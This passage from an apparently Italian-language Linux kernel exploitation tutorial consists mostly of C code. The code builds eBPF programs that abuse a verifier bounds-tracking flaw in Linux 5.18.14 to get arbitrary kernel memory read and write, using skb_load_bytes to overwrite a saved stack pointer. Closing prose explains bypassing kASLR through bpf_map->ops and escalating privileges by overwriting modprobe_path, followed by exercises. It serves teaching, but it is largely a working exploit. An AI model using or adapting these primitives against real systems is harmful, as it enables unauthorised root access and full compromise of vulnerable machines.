// R1 --> var_off=(value=0; mask=0xffffffff00000000)
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_9, 0),
BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
// R2 --> var_off=(value=0xfffffffe00000001; mask=0)
BPF_MOV64_IMM(BPF_REG_2, 0xfffffffe),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 1),
// R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0) / actual:1
BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),

// R2 --> (s32_min=0, s32_max=1, u32_min=0, u32_max=1) / actual:1
BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_9, 0),
BPF_JMP32_IMM(BPF_JLE, BPF_REG_2, 1, 2),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),

// R1 --> 0 / actual: 1
BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),
BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),

// Inserisce un puntatore valido in FP-0x18 (*)
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_9, -0x18),

// R1 --> 1 / actual: 0x10
BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x10-1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),

// Sovrascrive il puntatore salvato in (*) con skb_load_bytes
BPF_MOV64_IMM(BPF_REG_ARG2, 0), // arg2=offset (0)
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), // arg3=to (FP-0x20)
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),
BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_1), // arg4=len (1/0x10)
BPF_MOV64_REG(BPF_REG_ARG1, BPF_REG_8), // arg1=skb
BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),

// Rilegge il puntatore sovrascritto
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_FP, -0x18),

// Ora è possibile leggere da un indirizzo arbitrario
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_0, 0),

// Riporta il leak in userland via map
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_1, -0x10),
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP), // key
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -0x08),
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP), // value
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x10),
BPF_MOV64_IMM(BPF_REG_ARG4, 0), // flag
BPF_EMIT_CALL(BPF_FUNC_map_update_elem),

BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};

union bpf_attr prog_attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = sizeof(insns) / sizeof(insns[0]),
.insns = (uint64_t)insns,
.license = (uint64_t)"GPL v2",
.log_level = 2,
.log_size = sizeof(verifier_log),
.log_buf = (uint64_t)verifier_log
};

int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)");

int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
fatal("socketpair");
if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
fatal("setsockopt");

char payload[0x10];
*(unsigned long*)&payload[0] = 0x4141414141414141;
*(unsigned long*)&payload[8] = addr; // indirizzo da leakare
write(socks[1], payload, 0x10);

map_lookup(mapfd, 0, &val);
return val;
}

/**
* Scrittura a un indirizzo arbitrario
*/
unsigned long aaw64(int mapfd, unsigned long addr, unsigned long value) {
char verifier_log[0x10000];
unsigned long val;

val = 1;
map_update(mapfd, 0, &val);

/* Programma BPF */
struct bpf_insn insns[] = {
// R8 --> context
BPF_MOV64_REG(BPF_REG_8, BPF_REG_1),

// R0 --> &map[0]
BPF_ST_MEM(BPF_DW, BPF_REG_FP, -0x08, 0), // key=0
BPF_LD_MAP_FD(BPF_REG_ARG1, mapfd),
BPF_MOV64_REG(BPF_REG_ARG2, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG2, -8),
BPF_EMIT_CALL(BPF_FUNC_map_lookup_elem),
BPF_JMP_IMM(BPF_JNE, BPF_REG_0, 0, 1),
BPF_EXIT_INSN(),
BPF_MOV64_REG(BPF_REG_9, BPF_REG_0),

// R1 --> var_off=(value=0; mask=0xffffffff00000000)
BPF_LDX_MEM(BPF_DW, BPF_REG_1, BPF_REG_9, 0),
BPF_ALU64_IMM(BPF_RSH, BPF_REG_1, 32),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
// R2 --> var_off=(value=0xfffffffe00000001; mask=0)
BPF_MOV64_IMM(BPF_REG_2, 0xfffffffe),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_2, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_2, 1),
// R1 --> (s32_min=1, s32_max=0, u32_min=1, u32_max=0) / actual:1
BPF_ALU64_REG(BPF_OR, BPF_REG_1, BPF_REG_2),

// R2 --> (s32_min=0, s32_max=1, u32_min=0, u32_max=1) / actual:1
BPF_LDX_MEM(BPF_DW, BPF_REG_2, BPF_REG_9, 0),
BPF_JMP32_IMM(BPF_JLE, BPF_REG_2, 1, 2),
BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),

// R1 --> 0 / actual: 1
BPF_ALU64_REG(BPF_ADD, BPF_REG_1, BPF_REG_2),
BPF_MOV32_REG(BPF_REG_1, BPF_REG_1),
BPF_ALU64_IMM(BPF_SUB, BPF_REG_1, 1),

// Inserisce un puntatore valido in FP-0x18 (*)
BPF_STX_MEM(BPF_DW, BPF_REG_FP, BPF_REG_9, -0x18),

// R1 --> 1 / actual: 0x10
BPF_ALU64_IMM(BPF_MUL, BPF_REG_1, 0x10-1),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, 1),

// Sovrascrive il puntatore in (*) con skb_load_bytes
BPF_MOV64_IMM(BPF_REG_ARG2, 0),
BPF_MOV64_REG(BPF_REG_ARG3, BPF_REG_FP),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_ARG3, -0x20),
BPF_MOV64_REG(BPF_REG_ARG4, BPF_REG_1),
BPF_MOV64_REG(BPF_REG_ARG1, BPF_REG_8),
BPF_EMIT_CALL(BPF_FUNC_skb_load_bytes),

// Rilegge il puntatore corrotto
BPF_LDX_MEM(BPF_DW, BPF_REG_0, BPF_REG_FP, -0x18),

// Scrive il valore scelto nell'indirizzo arbitrario
BPF_MOV64_IMM(BPF_REG_1, value >> 32),
BPF_ALU64_IMM(BPF_LSH, BPF_REG_1, 32),
BPF_ALU64_IMM(BPF_ADD, BPF_REG_1, value & 0xffffffff),
BPF_STX_MEM(BPF_DW, BPF_REG_0, BPF_REG_1, 0),

BPF_MOV64_IMM(BPF_REG_0, 0),
BPF_EXIT_INSN(),
};

union bpf_attr prog_attr = {
.prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
.insn_cnt = sizeof(insns) / sizeof(insns[0]),
.insns = (uint64_t)insns,
.license = (uint64_t)"GPL v2",
.log_level = 2,
.log_size = sizeof(verifier_log),
.log_buf = (uint64_t)verifier_log
};

int progfd = bpf(BPF_PROG_LOAD, &prog_attr);
if (progfd == -1) fatal("bpf(BPF_PROG_LOAD)");

int socks[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, socks))
fatal("socketpair");
if (setsockopt(socks[0], SOL_SOCKET, SO_ATTACH_BPF, &progfd, sizeof(int)))
fatal("setsockopt");

char payload[0x10];
*(unsigned long*)&payload[0] = 0x4141414141414141;
*(unsigned long*)&payload[8] = addr; // indirizzo da sovrascrivere
write(socks[1], payload, 0x10);
}

Bypass di kASLR ed elevazione dei privilegi

A questo punto hai già tutto il necessario.
Dal leak dell’indirizzo della map puoi raggiungere strutture come bpf_map->ops e ricavare così il base address del kernel. Una volta calcolato kbase, con AAW puoi riscrivere variabili globali come modprobe_path, oppure puntatori interessanti interni al sottosistema BPF.

Completa da solo l’exploit finale. Un’implementazione di riferimento è disponibile qui.


In questo capitolo abbiamo usato la condizione min_value > max_value per leakare l'indirizzo di una BPF map sfruttando adjust_ptr_min_max_vals.
(1) Completa l'exploit senza leakare prima l'indirizzo di BPF map, stack BPF o contesto.
(2) Poi completa anche una variante che usi solo l'heap overflow ottenuto con skb_load_bytes, senza passare dallo stack BPF.

  1. La versione del kernel usata qui è Linux 5.18.14. ↩︎